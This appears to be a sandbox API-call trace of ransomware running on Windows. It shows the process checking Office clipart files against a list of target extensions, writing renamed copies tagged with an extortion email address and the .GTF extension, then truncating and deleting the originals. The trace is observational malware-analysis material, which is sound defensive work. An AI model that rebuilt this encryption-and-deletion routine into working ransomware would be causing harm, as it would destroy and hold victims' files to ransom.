	[0084.944] lstrlenW (lpString=".bz2") returned 4
	[0084.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString=".7z") returned 3
	[0084.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".dbf") returned 4
	[0084.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.945] lstrlenW (lpString=".1cd") returned 4
	[0084.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.945] lstrlenW (lpString=".jpg") returned 4
	[0084.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.945] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.945] lstrlenW (lpString="BS01636_.WMF") returned 12
	[0084.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.946] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1874) returned 1
	[0084.946] CloseHandle (hObject=0x384) returned 1
	[0084.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220
	[0084.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.946] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.946] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0084.946] GetLastError () returned 0x0
	[0084.947] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x752, lpOverlapped=0x0) returned 1
	[0084.948] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x760, lpOverlapped=0x0) returned 1
	[0084.949] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.949] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.949] SetEndOfFile (hFile=0x35c) returned 1
	[0084.949] CloseHandle (hObject=0x35c) returned 1
	[0084.951] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.951] SetEndOfFile (hFile=0x384) returned 1
	[0084.951] CloseHandle (hObject=0x384) returned 1
	[0084.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1
	[0084.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.952] lstrlenW (lpString=".doc") returned 4
	[0084.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.952] lstrlenW (lpString=".docx") returned 5
	[0084.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.952] lstrlenW (lpString=".pdf") returned 4
	[0084.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.952] lstrlenW (lpString=".xls") returned 4
	[0084.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.952] lstrlenW (lpString=".xlsx") returned 5
	[0084.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.952] lstrlenW (lpString=".ppt") returned 4
	[0084.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.952] lstrlenW (lpString=".zip") returned 4
	[0084.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.952] lstrlenW (lpString=".rar") returned 4
	[0084.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.952] lstrlenW (lpString=".bz2") returned 4
	[0084.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.952] lstrlenW (lpString=".7z") returned 3
	[0084.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".dbf") returned 4
	[0084.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".1cd") returned 4
	[0084.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".jpg") returned 4
	[0084.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".doc") returned 4
	[0084.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString=".docx") returned 5
	[0084.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.953] lstrlenW (lpString=".pdf") returned 4
	[0084.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString=".xls") returned 4
	[0084.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.953] lstrlenW (lpString=".xlsx") returned 5
	[0084.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.953] lstrlenW (lpString=".ppt") returned 4
	[0084.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".zip") returned 4
	[0084.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.953] lstrlenW (lpString=".rar") returned 4
	[0084.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString=".bz2") returned 4
	[0084.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString=".7z") returned 3
	[0084.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".dbf") returned 4
	[0084.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.953] lstrlenW (lpString=".1cd") returned 4
	[0084.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0084.954] lstrlenW (lpString=".jpg") returned 4
	[0084.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.954] lstrlenW (lpString="BS01637_.WMF") returned 12
	[0084.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.212] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3948) returned 1
	[0085.212] CloseHandle (hObject=0x2d0) returned 1
	[0085.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220
	[0085.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.213] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.213] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.213] GetLastError () returned 0x0
	[0085.213] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xf6c, lpOverlapped=0x0) returned 1
	[0085.230] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf70, lpOverlapped=0x0) returned 1
	[0085.231] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.231] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.232] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.232] CloseHandle (hObject=0x2fc) returned 1
	[0085.232] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.233] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.233] CloseHandle (hObject=0x2d0) returned 1
	[0085.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1
	[0085.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.234] lstrlenW (lpString=".doc") returned 4
	[0085.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.234] lstrlenW (lpString=".docx") returned 5
	[0085.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.234] lstrlenW (lpString=".pdf") returned 4
	[0085.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.234] lstrlenW (lpString=".xls") returned 4
	[0085.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.234] lstrlenW (lpString=".xlsx") returned 5
	[0085.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.234] lstrlenW (lpString=".ppt") returned 4
	[0085.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.234] lstrlenW (lpString=".zip") returned 4
	[0085.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.234] lstrlenW (lpString=".rar") returned 4
	[0085.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.234] lstrlenW (lpString=".bz2") returned 4
	[0085.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.234] lstrlenW (lpString=".7z") returned 3
	[0085.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".dbf") returned 4
	[0085.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".1cd") returned 4
	[0085.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".jpg") returned 4
	[0085.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".doc") returned 4
	[0085.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString=".docx") returned 5
	[0085.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.235] lstrlenW (lpString=".pdf") returned 4
	[0085.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString=".xls") returned 4
	[0085.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.235] lstrlenW (lpString=".xlsx") returned 5
	[0085.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.235] lstrlenW (lpString=".ppt") returned 4
	[0085.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".zip") returned 4
	[0085.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.235] lstrlenW (lpString=".rar") returned 4
	[0085.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString=".bz2") returned 4
	[0085.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.235] lstrlenW (lpString=".7z") returned 3
	[0085.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.235] lstrlenW (lpString=".dbf") returned 4
	[0085.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.236] lstrlenW (lpString=".1cd") returned 4
	[0085.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0085.236] lstrlenW (lpString=".jpg") returned 4
	[0085.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.236] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.236] lstrlenW (lpString="DD00117_.WMF") returned 12
	[0085.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.236] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=31122) returned 1
	[0085.236] CloseHandle (hObject=0x2d0) returned 1
	[0085.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220
	[0085.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.236] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.237] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.237] GetLastError () returned 0x0
	[0085.237] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x7992, lpOverlapped=0x0) returned 1
	[0085.249] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x79a0, lpOverlapped=0x0) returned 1
	[0085.250] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.250] WriteFile (in: hFile=0x2fc, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.250] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.254] CloseHandle (hObject=0x2fc) returned 1
	[0085.256] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.256] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.258] CloseHandle (hObject=0x2d0) returned 1
	[0085.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1
	[0085.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.261] lstrlenW (lpString=".doc") returned 4
	[0085.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.261] lstrlenW (lpString=".docx") returned 5
	[0085.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.261] lstrlenW (lpString=".pdf") returned 4
	[0085.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.261] lstrlenW (lpString=".xls") returned 4
	[0085.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.261] lstrlenW (lpString=".xlsx") returned 5
	[0085.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.261] lstrlenW (lpString=".ppt") returned 4
	[0085.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.261] lstrlenW (lpString=".zip") returned 4
	[0085.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.262] lstrlenW (lpString=".rar") returned 4
	[0085.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString=".bz2") returned 4
	[0085.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString=".7z") returned 3
	[0085.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".dbf") returned 4
	[0085.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".1cd") returned 4
	[0085.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".jpg") returned 4
	[0085.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".doc") returned 4
	[0085.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString=".docx") returned 5
	[0085.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.262] lstrlenW (lpString=".pdf") returned 4
	[0085.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString=".xls") returned 4
	[0085.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.262] lstrlenW (lpString=".xlsx") returned 5
	[0085.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.262] lstrlenW (lpString=".ppt") returned 4
	[0085.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".zip") returned 4
